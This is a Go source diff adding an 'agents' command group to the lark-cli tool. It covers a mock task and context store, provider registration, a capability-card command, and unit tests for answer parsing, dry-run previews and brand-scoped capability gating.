func hasValue(vals []string, v string) bool {
for _, x := range vals {
if x == v {
return true
}
}
return false
}
// optionLabel returns the label of optionID within opts (ok=false if not found).
func optionLabel(opts []agents.Option, optionID string) (string, bool) {
for _, o := range opts {
if o.OptionID == optionID {
return o.Label, true
}
}
return "", false
}
// pageWindow computes the [lo,hi) slice bounds and the resulting PageInfo for an
// offset-cursor paginated list of `total` items. The token is an opaque offset —
// strconv.Itoa of the first item's index; an unparseable / negative token is
// leniently treated as offset 0 (the store is a mock, so it does not reject a bad
// cursor). Size<=0 returns all remaining items (the CLI always passes ≥1). The
// NextToken is the offset just past this page (lo+len), set only when more items
// remain.
func pageWindow(total int, page agents.PageParams) (lo, hi int, info agents.PageInfo) {
if page.Token != "" {
if n, err := strconv.Atoi(page.Token); err == nil && n > 0 {
lo = n
}
}
if lo > total {
lo = total
}
hi = total
if page.Size > 0 && lo+page.Size < total {
hi = lo + page.Size
}
if hi < total {
info = agents.PageInfo{NextToken: strconv.Itoa(hi), HasMore: true}
}
return lo, hi, info
}
// listTasks lists an agent's task summaries, optionally filtered by contextID
// (empty string means no filter), MOST-RECENT-FIRST (Seq descending — Seq grows
// with creation, so descending is newest first; example tasks are terminal at
// creation so Seq desc equals UpdatedAt desc), then paginated by page. IsTerminal
// is carried along here for convenience, but the command layer re-derives it from
// State via normalizeTask* (single source), so the integrator need not worry
// about this field.
func (s *memoryStore) listTasks(agentID, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*taskRecord, 0, len(s.Tasks))
for _, rec := range s.Tasks {
if rec.AgentID != agentID {
continue
}
if contextID != "" && rec.Task.ContextID != contextID {
continue
}
recs = append(recs, rec)
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
lo, hi, info := pageWindow(len(recs), page)
out := make([]agents.TaskSummary, 0, hi-lo)
for _, rec := range recs[lo:hi] {
out = append(out, taskSummaryOf(rec.Task))
}
return out, info
}
// listContexts lists an agent's context summaries, MOST-RECENT-FIRST (Seq
// descending — newest first), then paginated by page.
func (s *memoryStore) listContexts(agentID string, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
recs := make([]*contextRecord, 0, len(s.Contexts))
for _, ctx := range s.Contexts {
if ctx.AgentID == agentID {
recs = append(recs, ctx)
}
}
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
lo, hi, info := pageWindow(len(recs), page)
out := make([]agents.ContextSummary, 0, hi-lo)
for _, ctx := range recs[lo:hi] {
updatedAt, _, awaiting, _ := s.contextRollupLocked(ctx)
out = append(out, agents.ContextSummary{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
UpdatedAt: updatedAt,
Title: ctx.Title,
AwaitingInput: awaiting,
})
}
return out, info
}
// getContext returns a context's detail: metadata plus a rollup (updated_at,
// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
// with the latest updated_at; nil for an empty context). It deliberately does NOT
// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
// `agents task list --context-id`.
func (s *memoryStore) getContext(agentID, ctxID string) (*agents.ContextDetail, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
}
updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
detail := &agents.ContextDetail{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
UpdatedAt: updatedAt,
Title: ctx.Title,
// The mock can always count its tasks; a real provider whose backend
// does not return a total leaves TaskCount nil (unknown ≠ 0).
TaskCount: &taskCount,
AwaitingInput: awaiting,
}
if active != nil {
summary := taskSummaryOf(active.Task)
detail.ActiveTask = &summary
}
return detail, nil
}
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
}
for _, tid := range ctx.TaskIDs {
delete(s.Tasks, tid)
}
delete(s.Contexts, ctxID)
return s.saveLocked()
}
// ── Derived rollups (the enriched-summary provider side) ──
// summaryMaxRunes is the rune budget for a task Summary — a one-line content
// digest, not full content. Truncation is rune-safe so a multibyte character is
// never cut in half.
const summaryMaxRunes = 100
// contextRollupLocked derives a context's summary fields from its tasks (the
// caller must already hold the lock). updatedAt is the newest task updated_at,
// falling back to the context's created_at when it has no tasks; awaitingInput is
// set when any task sits in input_required/auth_required; active is the task with
// the latest updated_at (ties broken by creation order so it is deterministic),
// nil when the context is empty.
func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
updatedAt = ctx.CreatedAt
for _, tid := range ctx.TaskIDs {
rec, ok := s.Tasks[tid]
if !ok {
continue
}
taskCount++
if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
updatedAt = rec.Task.UpdatedAt
}
if isAwaiting(rec.Task.State) {
awaitingInput = true
}
if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
active = rec
}
}
return updatedAt, taskCount, awaitingInput, active
}
// isAwaiting reports whether a state is paused waiting on the caller (the
// awaiting_input rollup bit).
func isAwaiting(state agents.TaskState) bool {
return state == agents.StateInputRequired || state == agents.StateAuthRequired
}
// taskSummaryOf projects a stored task into its list/active summary, carrying the
// timestamp and the one-line content digest alongside the identity fields.
func taskSummaryOf(task agents.AgentTask) agents.TaskSummary {
return agents.TaskSummary{
TaskID: task.TaskID,
ContextID: task.ContextID,
State: task.State,
IsTerminal: task.IsTerminal,
UpdatedAt: task.UpdatedAt,
Summary: taskSummaryText(task),
}
}
// taskSummaryText is the one-line content digest: the pending group's triage
// digest (§3.3: label else first question, question count suffixed) for a task
// awaiting input, otherwise the last agent message's text. It returns RAW text
// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
// command layer's job, and it is empty when nothing is available.
func taskSummaryText(task agents.AgentTask) string {
if task.State == agents.StateInputRequired && task.InputRequired != nil {
if s := task.InputRequired.SummaryText(); s != "" {
return truncateRunes(s, summaryMaxRunes)
}
}
for i := len(task.Messages) - 1; i >= 0; i-- {
if task.Messages[i].Role != "agent" {
continue
}
for _, p := range task.Messages[i].Parts {
if p.Type == "text" && p.Text != "" {
return truncateRunes(p.Text, summaryMaxRunes)
}
}
}
return ""
}
// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
// does not append an ellipsis: the Summary is meant to be raw text.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max])
}

26
agents/register.go Normal file
View File

@@ -0,0 +1,26 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agents is the top-level business layer that wires the in-repo agent
// providers into the framework registry (internal/agents). It mirrors the events
// layering: the framework/SPI lives in internal/agents, each concrete provider is
// a declarative agents.Provider value exposed by a package under agents/<scheme>/,
// and this package's init aggregates and registers them. Blank-import this
// package from cmd to populate the provider registry.
//
// To onboard a new provider: add agents/<scheme>/ exposing a Provider() value,
// then add one line to the slice below.
package agents
import (
"github.com/larksuite/cli/agents/example"
iagents "github.com/larksuite/cli/internal/agents"
)
func init() {
for _, p := range []iagents.Provider{
example.Provider(),
} {
iagents.Register(p)
}
}

34
cmd/agents/agent_test.go Normal file
View File

@@ -0,0 +1,34 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import "testing"
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
// an error rather than being silently swallowed), and it must expose all five
// verbs plus the nested task/context sub-groups.
func TestAgentCommandTree(t *testing.T) {
cmd := NewCmdAgents(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
}
want := []string{"list", "card", "send", "task", "context"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand %s", name)
}
}
// task/context are nested groups
if task := findSub(cmd, "task"); task == nil {
t.Error("missing agents task group")
} else if findSub(task, "get") == nil {
t.Error("missing agents task get")
}
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
t.Error("missing agents context group")
} else if findSub(ctxCmd, "delete") == nil {
t.Error("missing agents context delete")
}
}

29
cmd/agents/agents.go Normal file
View File

@@ -0,0 +1,29 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/internal/cmdutil"
)
// NewCmdAgents builds the `agent` command group: a provider-agnostic surface
// that drives remote A2A agents with constant verbs. It is a pure group with
// no RunE, so an unknown subcommand is reported rather than silently
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
// and context are themselves nested groups.
func NewCmdAgents(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "agents",
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agents card <agent_ref>` first, then pick verbs by capability.",
}
cmd.AddCommand(NewCmdAgentList(f))
cmd.AddCommand(NewCmdAgentCard(f))
cmd.AddCommand(NewCmdAgentSend(f, nil))
cmd.AddCommand(NewCmdAgentTask(f))
cmd.AddCommand(NewCmdAgentContext(f))
return cmd
}

View File

@@ -0,0 +1,169 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Tests added from the Phase-6 adversarial review of the input_required answer
// scheme: each pins a contract row that was implemented but previously
// deletable without a test failing.
package agents
import (
"encoding/json"
"errors"
"strings"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// TestSendAnswerUnsupportedGated pins the §5 capability row: --answer against
// an agent whose card declares input_required=false (example:echo) is gated
// offline with unsupported_capability — no provider hook fires, no network.
func TestSendAnswerUnsupportedGated(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo",
ContextID: "c1", TaskID: "t1", Answers: []string{"q1=x"},
As: "bot", Format: "json",
})
assertUnsupportedCapability(t, err, "example:echo")
if p, _ := errs.ProblemOf(err); !strings.Contains(p.Message, "input_required") {
t.Errorf("gate error should name the input_required capability, got %q", p.Message)
}
}
// TestSendAnswerWithRemark pins the §5 row "--answer 与 --text 并存 = 合法":
// the remark rides SendInput.Text alongside the parsed answers.
func TestSendAnswerWithRemark(t *testing.T) {
opts := sendTestOpts(t)
opts.ContextID, opts.TaskID = "sess_1", "task_1"
opts.Answers = []string{"q1_a8=by_region"}
opts.Text = "补充:优先东区"
var got iagents.SendInput
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
got = in
return &iagents.AgentTask{TaskID: "task_1", State: iagents.StateCompleted}, nil
}})
if err := agentSendRun(opts); err != nil {
t.Fatalf("--answer with a --text remark must be legal: %v", err)
}
if got.Text != "补充:优先东区" || len(got.Answers) != 1 {
t.Errorf("remark and answers must both reach the hook, got text=%q answers=%v", got.Text, got.Answers)
}
}
// TestSendAnswerGrammarEdges extends the offline key-grammar pin to the §4.1
// edge shapes: case-sensitive suffix, bare ".text", double suffix — plus the
// hint naming both legal forms.
func TestSendAnswerGrammarEdges(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", TaskID: "t",
Answers: []string{"q1.TEXT=x", ".text=x", "q.text.text=x"}})
if err == nil {
t.Fatal("edge-shape keys should be rejected offline")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatal(err)
}
for _, frag := range []string{"q1.TEXT", ".text", "q.text.text"} {
if !strings.Contains(verr.Problem.Message, frag) {
t.Errorf("collect-all should name %q, got %q", frag, verr.Problem.Message)
}
}
if h := verr.Problem.Hint; !strings.Contains(h, "<question_id>=<option_id>") || !strings.Contains(h, "<question_id>.text=") {
t.Errorf("hint must name both legal key forms, got %q", h)
}
}
// TestSendAnswerGuardPrecedence pins mode-first ordering: with BOTH missing
// ids AND a grammar-violating entry, the ids guard answers (the caller learns
// which mode it got wrong before which field), and Answers+ContextID-only
// still reports the --answer guard.
func TestSendAnswerGuardPrecedence(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1.txt=x"}})
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--answer" || !strings.Contains(verr.Problem.Message, "--context-id") {
t.Errorf("ids guard must answer before key grammar, got %+v", verr)
}
err = agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", Answers: []string{"q1=x"}})
if !errors.As(err, &verr) || verr.Param != "--answer" {
t.Errorf("answers with context but no task must hit the --answer guard, got %+v", verr)
}
}
// TestSendDryRunAnswers pins the '预演即所得' §10.1 preview: would_send.answers
// is the PARSED map (deduped, argv order), no hook fires, and dry-run answers
// work even against an input_required=false agent (dry-run precedes the gate).
func TestSendDryRunAnswers(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", DryRun: true,
ContextID: "c1", TaskID: "t1",
Answers: []string{"q3_a8=east", "q3_a8=north", "q3_a8=east", "q2_a8.text=2024 全年"},
As: "bot", Format: "json",
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run with answers must succeed even at an input_required=false agent: %v", err)
}
var env struct {
Data struct {
WouldSend struct {
Answers map[string][]string `json:"answers"`
} `json:"would_send"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if v := env.Data.WouldSend.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
t.Errorf("would_send.answers must be the parsed deduped map, got %v", env.Data.WouldSend.Answers)
}
if v := env.Data.WouldSend.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
t.Errorf(".text key must ride would_send verbatim, got %v", env.Data.WouldSend.Answers)
}
}
// TestTaskGetDegradedGroupNotice pins the §3.2 defect-observability channel: a
// provider group with a flag-lookalike question_id degrades to one free-text
// question AND the JSON envelope carries the provider_defect notice (the
// machine surface — not just stderr).
func TestTaskGetDegradedGroupNotice(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
registerScripted()
setScripted(t, scriptedHooks{getTask: func(taskID string) (*iagents.AgentTask, error) {
return &iagents.AgentTask{TaskID: taskID, ContextID: "ctx_1", State: iagents.StateInputRequired,
UpdatedAt: "2026-07-21T00:00:00Z",
InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
{QuestionID: "--text", Question: "维度?"},
}}}, nil
}})
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeflow:agt_x", TaskID: "t1", As: "bot", Format: "json"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentTaskGetRun(opts); err != nil {
t.Fatalf("task get with a degradable group should succeed: %v", err)
}
var env struct {
Data struct {
InputRequired struct {
Questions []struct {
QuestionID string `json:"question_id"`
} `json:"questions"`
} `json:"input_required"`
} `json:"data"`
Notice map[string]any `json:"_notice"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v\n%s", err, out.Bytes())
}
qs := env.Data.InputRequired.Questions
if len(qs) != 1 || !iagents.KeyPattern.MatchString(qs[0].QuestionID) {
t.Fatalf("degraded group must be one legal-key free-text question, got %+v", qs)
}
defect, _ := env.Notice["provider_defect"].(string)
if !strings.Contains(defect, "不合规") {
t.Errorf("JSON envelope _notice must carry the provider defect, got %v", env.Notice)
}
}

239
cmd/agents/brand_test.go Normal file
View File

@@ -0,0 +1,239 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
"sync"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// brandFactory builds a test Factory whose resolved Config.Brand is the given
// brand, so the command-layer brand gates exercise both feishu and lark.
func brandFactory(t *testing.T, brand core.LarkBrand) *cmdutil.Factory {
t.Helper()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: brand}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
return f
}
// TestCardBrandScoped pins that `agents card example:reporter` renders a
// brand-scoped card: under feishu task_cancel is true and data.brand=="feishu";
// under lark the feishu-only task_cancel op flips to false and
// data.brand=="lark". The agent itself stays visible under both brands (only the
// op is scoped), so the card renders in both cases.
func TestCardBrandScoped(t *testing.T) {
for _, tc := range []struct {
brand core.LarkBrand
wantTaskCancel bool
}{
{core.BrandFeishu, true},
{core.BrandLark, false},
} {
t.Run(string(tc.brand), func(t *testing.T) {
f := brandFactory(t, tc.brand)
opts := &cardOptions{Factory: f, Cmd: resolveCmd(t, true, "bot"), Ref: "example:reporter", As: "bot", Format: "json"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should render under %s: %v", tc.brand, err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("card output should be valid envelope JSON: %v", err)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be a card object, got %T", env.Data)
}
if data["brand"] != string(tc.brand) {
t.Errorf("card.brand should be %q, got %v", tc.brand, data["brand"])
}
caps, ok := data["capabilities"].(map[string]interface{})
if !ok {
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
}
if caps["task_cancel"] != tc.wantTaskCancel {
t.Errorf("%s: task_cancel should be %v, got %v", tc.brand, tc.wantTaskCancel, caps["task_cancel"])
}
})
}
}
// TestTaskCancelBrandGatedUnderLark pins the per-capability brand gate: under
// lark, `agents task cancel example:reporter` (task_cancel is feishu-only) is
// rejected offline with the unavailable_for_brand validation error (exit 2)
// before any request — the CancelTask handler IS wired, so this is a brand gate,
// not an unsupported_capability gate.
func TestTaskCancelBrandGatedUnderLark(t *testing.T) {
f := brandFactory(t, core.BrandLark)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "t1", As: "bot",
})
if err == nil {
t.Fatal("task cancel under lark should be gated (unavailable_for_brand)")
}
if !errs.IsValidation(err) {
t.Fatalf("want a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
t.Fatalf("subtype should be unavailable_for_brand, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
}
}
// TestTaskCancelReachesHandlerUnderFeishu pins the sibling of the gate: under
// feishu the feishu-scoped task_cancel is live, so the command passes both brand
// gates and reaches the provider handler — for an unknown task the example store
// returns invalid_argument (unknown task id), never unavailable_for_brand.
func TestTaskCancelReachesHandlerUnderFeishu(t *testing.T) {
f := brandFactory(t, core.BrandFeishu)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "nope_task", As: "bot",
})
if err == nil {
t.Fatal("cancel of an unknown task should error from the handler")
}
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("want a typed problem, got %T: %v", err, err)
}
if p.Subtype == errs.SubtypeUnavailableForBrand {
t.Fatal("under feishu the brand gate must NOT fire — the handler should run")
}
if p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("expected the handler's unknown-task invalid_argument, got %+v", p)
}
}
// TestListCatalogIncludesReporterBothBrands pins that an op-level brand tag does
// NOT hide the whole agent: example:reporter appears in the catalog listing under
// both feishu and lark (only its task_cancel capability differs by brand).
func TestListCatalogIncludesReporterBothBrands(t *testing.T) {
prov, ok := iagents.Info("example")
if !ok {
t.Fatal("example provider should be registered")
}
for _, brand := range []core.LarkBrand{core.BrandFeishu, core.BrandLark} {
found := false
for _, a := range prov.ListCatalog(brand) {
if a.AgentRef == "example:reporter" {
found = true
}
}
if !found {
t.Errorf("example:reporter should be listed under %s (op-level tag must not hide the agent)", brand)
}
}
}
// registerBrandHiddenOnce registers the feishu-only catalog agent exactly once
// (Register panics on dup). Its ListTasks is deliberately UNWIRED so the
// whole-agent brand gate can be tested against a verb the agent does not even
// implement — the ordering assertion behind fix #1.
var registerBrandHiddenOnce sync.Once
func registerBrandHidden() {
registerBrandHiddenOnce.Do(func() {
task := func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) {
return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
}
iagents.Register(iagents.Provider{
Scheme: "brandhidden",
Label: "test fake (feishu-only agent)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Catalog: []iagents.AgentSpec{{
ID: "x",
Name: "隐藏演示",
Brands: []core.LarkBrand{core.BrandFeishu},
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
}},
GetTask: iagents.TaskGetOp{Handler: task},
// ListTasks intentionally UNWIRED.
}},
})
})
}
// TestWholeAgentBrandGatedUnderLark pins the whole-agent brand gate AND its
// ordering: a feishu-only agent (spec.Brands=[feishu]) reports
// unavailable_for_brand under lark for EVERY verb — including task list, whose
// handler is unwired. If the capability nil-gate ran first, task list would
// misreport unsupported_capability; the whole-agent brand gate must fire before
// it. Under feishu the agent is visible and its card renders.
func TestWholeAgentBrandGatedUnderLark(t *testing.T) {
registerBrandHidden()
lark := brandFactory(t, core.BrandLark)
errCard := agentCardRun(&cardOptions{Factory: lark, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"})
assertUnavailableWholeAgent(t, errCard, "card")
errList := agentTaskListRun(&taskOptions{Factory: lark, Cmd: taskCmdCtx(t, "list"), Ref: "brandhidden:x", As: "bot", Format: "json"})
assertUnavailableWholeAgent(t, errList, "task list (unwired verb)")
feishu := brandFactory(t, core.BrandFeishu)
out := feishu.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(&cardOptions{Factory: feishu, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"}); err != nil {
t.Fatalf("card should render under feishu (agent visible): %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("card output should be valid JSON: %v", err)
}
if data, _ := env.Data.(map[string]interface{}); data["brand"] != "feishu" {
t.Errorf("under feishu card.brand should be feishu, got %v", data["brand"])
}
}
// assertUnavailableWholeAgent checks err is the WHOLE-AGENT unavailable_for_brand
// form: subtype unavailable_for_brand, naming the lark brand, and with NO verb
// named (the op form is "agent '...' 的 '<verb>' 在 ..."; the whole-agent form
// omits the verb since the entire agent is hidden).
func assertUnavailableWholeAgent(t *testing.T, err error, where string) {
t.Helper()
if err == nil {
t.Fatalf("%s under lark should be gated", where)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
t.Fatalf("%s: subtype should be unavailable_for_brand, got %+v", where, p)
}
if strings.Contains(p.Message, "的 '") {
t.Errorf("%s: expected the whole-agent message (no verb named), got %q", where, p.Message)
}
if !strings.Contains(p.Message, "在 lark 品牌下不可用") {
t.Errorf("%s: message should name the lark brand, got %q", where, p.Message)
}
}
// TestResolvedBrandDefaults pins resolvedBrand's resolution + offline default:
// nil Factory and an empty configured Brand both fall back to feishu (consistent
// with core.ParseBrand); an explicit brand is returned as-is.
func TestResolvedBrandDefaults(t *testing.T) {
if got := resolvedBrand(nil); got != core.BrandFeishu {
t.Errorf("resolvedBrand(nil) should default to feishu, got %q", got)
}
if got := resolvedBrand(brandFactory(t, "")); got != core.BrandFeishu {
t.Errorf("resolvedBrand with empty Brand should default to feishu, got %q", got)
}
if got := resolvedBrand(brandFactory(t, core.BrandLark)); got != core.BrandLark {
t.Errorf("resolvedBrand should return the configured lark brand, got %q", got)
}
if got := resolvedBrand(brandFactory(t, core.BrandFeishu)); got != core.BrandFeishu {
t.Errorf("resolvedBrand should return the configured feishu brand, got %q", got)
}
}

377
cmd/agents/card.go Normal file
View File

@@ -0,0 +1,377 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"io"
"sort"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// cardOptions holds all inputs for `agents card <ref>`.
type cardOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
Operation string
As string
Format string
}
// verbCommandTemplate maps each operation verb to the human command that
// executes it — surfaced in `--operation` output so the verb↔command mapping
// is a lookup, not something the caller memorizes (artifact_download being the
// one non-obvious row). Templates carry <...> placeholders and are never
// executable verbatim.
var verbCommandTemplate = map[string]string{
iagents.VerbSend: "lark-cli agents send <agent_ref> --text <text> [--param k=v ...]",
iagents.VerbTaskGet: "lark-cli agents task get <agent_ref> <task-id> [--watch --timeout 30s] [--param k=v ...]",
iagents.VerbTaskList: "lark-cli agents task list <agent_ref> [--context-id <ctx-id>] [--param k=v ...]",
iagents.VerbTaskCancel: "lark-cli agents task cancel <agent_ref> <task-id> [--param k=v ...]",
iagents.VerbContextList: "lark-cli agents context list <agent_ref> [--param k=v ...]",
iagents.VerbContextGet: "lark-cli agents context get <agent_ref> <ctx-id> [--param k=v ...]",
iagents.VerbContextDelete: "lark-cli agents context delete <agent_ref> <ctx-id> --yes [--param k=v ...]",
iagents.VerbArtifactDownload: "lark-cli agents task get <agent_ref> <task-id> --artifact <artifact-id> -o <output> [--param k=v ...]",
}
// NewCmdAgentCard builds `agents card <ref>`: show an agent's capability card
// (lean by default: capabilities + has_parameters), or — with --operation —
// one operation's full parameter contract (--operation all returns every
// operation at once). Resolution is offline; Describe enrichment is
// best-effort when a client is configured. Risk=read.
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
opts := &cardOptions{Factory: f}
cmd := &cobra.Command{
Use: "card <agent_ref>",
Short: "Show a remote agent's capability card, or one operation's parameter contract",
Long: "Fetch and show an agent's capability card. The default card is lean: capabilities decide which verbs are available, " +
"has_parameters lists the verbs that need a parameter lookup. Use --operation <verb> to fetch one operation's full parameter " +
"contract (name/type/required/enum/default + the command shape), or --operation all for every operation at once.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentCardRun(opts)
},
}
cmd.Flags().StringVar(&opts.Operation, "operation", "", "查询某操作的参数契约动词capabilities 键名 + send或 all 一次拿全")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentCardRun resolves the provider addressed by ref and emits either the
// lean capability card or (--operation) a parameter-contract subquery. The
// card is first-party static data (not agent-generated content), so it
// bypasses content-safety scanning. The JSON success envelope is the default;
// --format pretty opts into the human-readable listing; --jq forces JSON.
func agentCardRun(opts *cardOptions) error {
f := opts.Factory
// Resolution is fully offline (no client), so `agents card` works before
// config init. The capability matrix + static metadata are always available.
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate (offline): an agent hidden from the current brand
// has no card to show under it.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
if opts.Operation != "" {
return agentCardOperationRun(opts, prov, spec, id)
}
// Best-effort remote enrichment: if a client is configured, pass a runtime so
// a provider's Describe can fill Name/Description from the platform; otherwise
// rt stays nil and BuildCard returns the offline (caps + static) card.
